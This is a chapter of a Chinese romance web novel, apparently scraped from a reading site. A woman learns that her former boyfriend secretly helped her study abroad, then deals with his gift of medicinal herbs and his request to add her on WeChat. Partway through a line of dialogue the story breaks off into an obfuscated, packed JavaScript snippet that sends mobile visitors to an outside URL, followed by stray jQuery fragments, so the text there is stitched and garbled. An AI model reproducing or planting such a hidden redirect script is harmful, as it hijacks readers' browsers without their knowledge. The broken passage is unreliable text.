默认冷灰
24号文字
方正启体

17. 微信

作者:昭屿星田本书字数:K更新时间:
    孟菀青握着碗的手指微微收紧,嘴角牵起一个极淡的,没什么温度的弧度,语气疏淡:“这好像······与你无关。“


    空气有几秒的凝滞。


    宋观复的眸光在她脸上停留片刻,没有再追问。他极轻微地扯了下唇角,像是一个未成形的笑,又像是什么都没有。


    “汤圆。”他垂眸,看向她手中的白瓷碗,声音听不出情绪,“谢谢,替我谢谢阿姨。”


    “嗯。”孟菀青应一声,转身回到202。门“砰”一声关上。


    背靠着冰凉的门板,她听见门外脚步声渐远,直至消失。手里那只白瓷碗,还残留着一丝他手上的温度。


    “刚才外面的是谁?”徐昭云问。


    孟菀青打开橱柜,把碗收进橱柜最里层:“对门的邻居,来还碗。”


    ---


    这一晚,孟菀青睡得并不踏实。


    她好似做了许多个梦,断断续续,光怪陆离。一睁眼又都记不清了。


    只记得那些旋转而模糊的画面里,有巴黎凌晨的会议室灯光,有医院走廊尽头刺目的“手术中”,有雨幕中黑色风衣的衣角,还有一枚带着裂痕、幽幽晃动的平安符……它们交织缠绕。


    却在她试图看清时又迅速褪色、消散。


    醒来时,只留下心头一片空茫的疲惫和太阳穴隐隐的胀痛。


    不知几点才真正入睡,清晨被设定的闹钟硬生生拽出混沌。窗外天色是一种蒙着灰的鱼肚白。


    母亲今天没有安排复健,可以多休息一会儿。


    孟菀青轻手轻脚地起身,洗漱时看到镜中自己眼下淡淡的青影。她泼了点冷水在脸上,试图让头脑清醒些。


    手机屏幕亮起,是张帆发来的微信。


    他说领导开会决定,深度采访长视频组打算将上一期杂志刊登过的司法案件题材的文字报道再出一个续集,作为账号转型后的首个内容。


    他们计划去京州大学法学院采访一位在业内极具声望的心理学教授,但尝试很多方式联系都没有回音。记得孟菀青是京大校友,便试着问问她是否有资源可以联络上这位教授。


    孟菀青点开张帆随后发来的教授简介和照片。照片上的女士叫童瑾,约莫五十多岁,气质知性干练,戴着细边眼镜,笑容温和而有力。


    名字和面容都很眼熟。


    孟菀青凝神回想,恍然记起,是很多年前,她陪宋观复去京大拜访过一位他父亲的好友。那位长辈,就是童瑾教授。


    记得当时童教授见到她,眼中掠过一丝讶异,随即笑道:“第一次见观复带女孩子来。”


    闲聊时还提到,她与传媒学院的院长私交甚笃。正是那次会面之后不久,院长推荐了她参加那场后来改变她许多的“礼赞之夜”领诵团面试。


    孟菀青点开微信,童瑾教授的微信就躺在列表里,点开她的头像,还能看到她朋友圈最近分享的学术信息。


    犹豫良久,孟菀青还是编辑了一条信息,表明身份,说明来意,询问近期是否有短暂拜访请教的可能。


    消息发送出去,她放下手机,心里并没抱有多大希望,毕竟只是多年前的一面之缘,童教授未必还能记得她。


    可不料,仅仅过了几分钟便有了回音。


    童瑾教授回复得干脆利落:【小孟你好,记得你。我今天都在学校,上午十点后没课,方便的话可以过来。】


    顺利得超乎预料。孟菀青立刻联系张帆,两人约好在京大西门碰头。


    多年没回母校,孟菀青有些生疏地用校友系统申请入校,又帮张帆做了登记。校园里的一切,熟悉中夹杂着陌生。


    蹄留湖畔柳树的叶子早已落尽,枝干垂向湖面,随风轻摆。


    童瑾教授的办公室在学院楼的三层,屋里收拾得整洁,书塞满墙边的三组柜子,桌面上码着几本学生的论文。


    见到孟菀青,童教授笑着起身:“小孟,好久不见,比当年好像更漂亮了。”


    孟菀青心里微微一动,寒暄几句以后,她说明来意。张帆也递上准备好的采访提纲和背景资料。


    童瑾接过,拿起桌上的眼睛戴上,认真浏览了一遍,点点头:“这个选题很有意义,切入的角度也不错。我需要一点时间准备一下。我看看我的时间······下周三下午,你们看可以吗?”


    如此顺利便敲定了时间,张帆喜出望外,连声道谢。


    正事谈完,童瑾让助教先带张帆去楼下参观一下学院的心理沙盘,独独留下了孟菀青。


    门轻轻合上,办公室里只剩下她们两人。童瑾摘了眼镜,指了指旁边的沙发:“小孟,坐。喝点什么?”


    “不用麻烦,童教授。”孟菀青依言坐下。


    童瑾还是给她倒了杯温水,在她对面坐下,姿态放松了许多,像是与晚辈闲谈:“在法国这些年,一切都还好吗?我前些年也在巴黎做过一年访问学者,对那里还挺怀念。”


    “都挺好的,工作也算顺利。”孟菀青捧着温热的杯子,轻声回答。


    童瑾点点头,目光落在她脸上,带着长辈的关怀,随即像是很自然地提起:“你和观复……后来怎么样?那孩子性子闷,话不多,我也好久没见他了。”


    孟菀青握着杯子的手指几不可察地收紧了一下。她抬起眼,迎上童教授温和的目光,停顿了两秒,才用尽量平静的声音说:“童教授,我和宋观复……已经分手了。”


    “分手了?”童瑾显然愣了一下,眉头微微蹙起,像是有些难以置信重,“什么时候的事?”


    “已经……四年多了。”孟菀青垂下眼帘,看着杯中微微晃动的水面,“在我去法国之前。”


    这下,童瑾脸上的惊讶变成了错愕,甚至有一丝未能掩饰的尴尬。


    “这么久了?我完全不知道。”她有些抱歉地放下茶杯,“真是……我这几年,观复每年还是会抽空来看看我,陪我吃顿饭。我每次问起你,他只说‘她在法国’,别的也不多谈。我还以为……”


    她顿了顿,没再说下去,但那未尽之言里的误会已然清晰。


    孟菀青也怔住了。


    宋观复从未对童教授提过他们分手的事?每年仍会来拜访,被问起时,只用一个模糊的“她在法国”带过?


    童瑾很快调整了表情,恢复了如常的从容温和:“瞧我,说这些让你尴尬了。小孟,我很欣赏你,你本身就非常优秀。以后即便不是因为观复,我们也常联系。”


    她似乎想缓和气氛,又像是想起了什么,补充道,“其实,你去法国前,观复还特意找过我,让我帮忙联系有分量的教授给你写推荐信。我当时还以为你们是商量好的,所以……”


    “他让您帮我写推荐信?”孟菀青蓦地抬头,打断了童教授的话,声音里带着自己都未察觉的震动。


    当年申请学校时,她是瞒着宋观复的。


    她总觉得自己与宋观复之间横亘着看不见的鸿沟,他那样的家世背景,身边从来不乏环肥燕瘦。异地两年,变数太大,她几乎笃定,他若想有人陪伴,自己随时都会被轻易取代。


    而现实似乎也印证了她最坏的猜想。


    她拿到offer的那段时间,宋观复好像格外忙,得知这个消息,他的语气听不出什么起伏,只是说“恭喜你”“为你高兴”“忙过这阵陪你庆祝”。


    可那之后,他的态度急转直下般冷淡。


    孟菀青试图道歉和挽回,但那一刻她发现,他们之间,手握主动权的一直是他。


    东寰的产业遍布全球,他宋观复的房产也遍布各地。如果他不想见,她连他身在何处都不可能知道。


    后来,他派人送来一张支票。


    “宋观复,这是什么意思?”孟菀青终于短暂地拨通他的号码,她记得那时,自己拿着手机的手都在发抖。


    “就到这吧,孟菀青。”对面的男人语气里听不出起伏。


    “那支票呢,分手费?”孟菀青只觉得浑身上下的血都发冷。自尊被践踏的滋味,她一早就应该料想到。


    电话挂断了,宋观复没再对她多说一句。


    最终,是送支票来的律师转述:“宋先生说,这笔钱是无偿赠予,供您支付在法国的学费及生活开销。”


    真是一笔不小的数目,孟菀青看着支票上的数字,这钱足够养活她整个下半生。


    半晌,她当着律师的面,将支票撕毁。


    “是啊,”童瑾点点头,回忆道,“他知道我也有留法背景,所以来找我。正好,我真的在你那个领域有相识的教授,就帮你联系了。怎么,观复没告诉你吗?”


    孟菀青摇头,回忆起被分手时那一天的画面时,她仍觉得胸膛里心脏如擂鼓般跳动,血液冰冷,喉咙发紧,一时说不出话。


    她忘记自己是如何走出童瑾办公室的。


    直到坐进车里,孟菀青还有些回不过神。


    她本以为时隔多年,那段过往能随着时间淡化和释怀。


    可回国后发生的一切,让她和宋观复之间非但没有桥归桥路归路,反而缠上了一根根难以厘清的线,甚至连过往分手的理由都裹上了层更浓的迷雾。


    她本以为宋观复与她分手的导火索是她瞒着他申请了法国的研究生,可多年以后,童教授的话让她发现自己猜错了——宋观复在她递交申请材料之前就已经知道了这件事,甚至还找人帮自己写推荐信。


    那当年的分手到底是为什么?


    张帆坐在驾驶座,递给她一杯刚买的拿铁,语气兴奋:“孟老师,这次


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17041044|194389||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    真多亏了你!童教授愿意接受采访,我们这个专题的份量一下就上去了。”


    孟菀青接过咖啡,温热的触感让她稍稍定神:“应该的,能帮上忙就好。”


    回程路上,张帆又提起合作的事,说已经将孟菀青以“特约内容顾问”的身份报备上去,前期按市场价支付项目报酬,等他们这边新的项目组正式搭建起来,再签订更长期完善的合同。


    孟菀青点点头,这算是个不错的开始。


    下午,她又陪着张帆跑了两个预设的外景地,沟通拍摄细节。工作起来,上午那如一团乱麻都思绪被抛诸脑后。


    傍晚时分,她才回到静苑。刚进家门,便看见门边放着一个挺大的箱子。


    她愣了一下,推门进屋。母亲徐昭云正坐在窗边的小沙发上听广播,见她回来,指了指门外:“对了,隔壁邻居下午送过来的,说是给你的。我问是什么,他说和你打过招呼了。”


    “邻居?和我打过招呼?”孟菀青更觉得奇怪。她连宋观复的电话和微信都没有,何来打招呼?


    她转身出去,将那个沉甸甸的箱子打开,只见里面分门别类放着几包品相极佳的虫草、野生天麻,还有几包标注着产地的滇红菇和古树三七,一看便知不是市面上轻易能买到的成色。


    她眉头蹙起,起身走到隔壁201的门前,抬手敲了敲。


    过了一会儿,门开了。


    宋观复站在门内,似乎刚回家不久,身上还穿着件深色的衬衫,袖子挽到手肘,手里拿着一份文件。见到她,他脸上没什么意外。


    “门口的东西,是你送的?”孟菀青直接问道。


    “嗯。”宋观复应了一声,语气平常,“云南那边一个合作方送的,品质还行。阿姨现在需要温补,煲汤或者煮水都可以。”


    “你跟我妈说,和我打过招呼了?”孟菀青看着他。


    宋观复的目光平静地回视她:“怕阿姨觉得唐突,不肯收。东西是给你的,本来也该跟你说一声。”


    他顿了一下,才淡淡道出一个事实:“但没有你的联系方式。”


    孟菀青去法国后,换了手机号,微信也因为登陆问题换了新号。


    闻言,孟菀青沉默了几秒,说:“东西多少钱?我转给你。”


    宋观复似乎早料到她会这么说,神色未变:“行,那我加你微信,你转给我吧。”


    孟菀青没想到这么干脆,松了一口气,拿出手机点开二维码。


    宋观复扫码添加她的微信,一秒后,一条好友申请发送到孟菀青的手机上。


    宋观复的微信昵称没变,还是一个大写的S,头像则是一张京州天际线的照片。鳞次栉比的高楼浸在熔金般的落日余晖里,晚霞如焰,沉默地燃烧在城市钢铁森林的尽头。


    “多少钱。”孟菀青点开转账选项,等待输入数字。


    宋观复却将手机收了回去,坦然道:“我也不知道。客户送的,没花钱。”


    孟菀青:“······”


    “那我按市场价给你。”孟菀青也来了脾气,非要和他钱货两讫。


    “按市场价。”宋观复重复了一遍,嘴角似乎极轻地扯了一下,辨不清是笑还是别的什么,“倒显得我是特意来你这做生意了。”


    他想了想,给出了一个折中的方案:“这样吧,东西我确实没花钱。你要坚持要付钱,等我问问那边成本价多少,你按成本价给我就行。”


    这听起来合理,但又像是一个拖延的借口。


    孟菀青一时间不知该如何反驳。


    两人隔着半开的门站着,楼道里感应灯的光线有些清冷。


    她的目光掠过他依旧戴着蓝宝石戒指的左手,脑海中再次响起童瑾教授下午那些话。


    重逢以来,他一次次“恰好”出现,提供的帮助总是精准地落在她最需要的地方,却又保持着一种令人捉摸不透的距离。


    她的情绪像被无形的手拨动,泛起层层难以平息的涟漪。


    一个强烈的冲动涌上来——她想问他,当年到底发生了什么?为什么一边帮她,一边离开她?为什么还戴着那枚戒指?现在做这些,又算什么?


    然而,话到嘴边,又被更强大的理智硬生生压了回去。


    问清楚了又如何?不过是重蹈覆辙,徒增烦恼。


    “好。问到了告诉我。”


    最终,一切风暴又归于平静,在孟菀青的脸上没有留下任何痕迹。她只低声说了这么一句,然后在他似乎欲言又止的目光中,转过身,走回202,关上了门。


    屋子里很安静,只有母亲房间里隐约传来的广播戏曲声。


    她抬起手,捂住眼睛,深深吸了一口气。


    不能再想了,没有意义。她对自己说。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)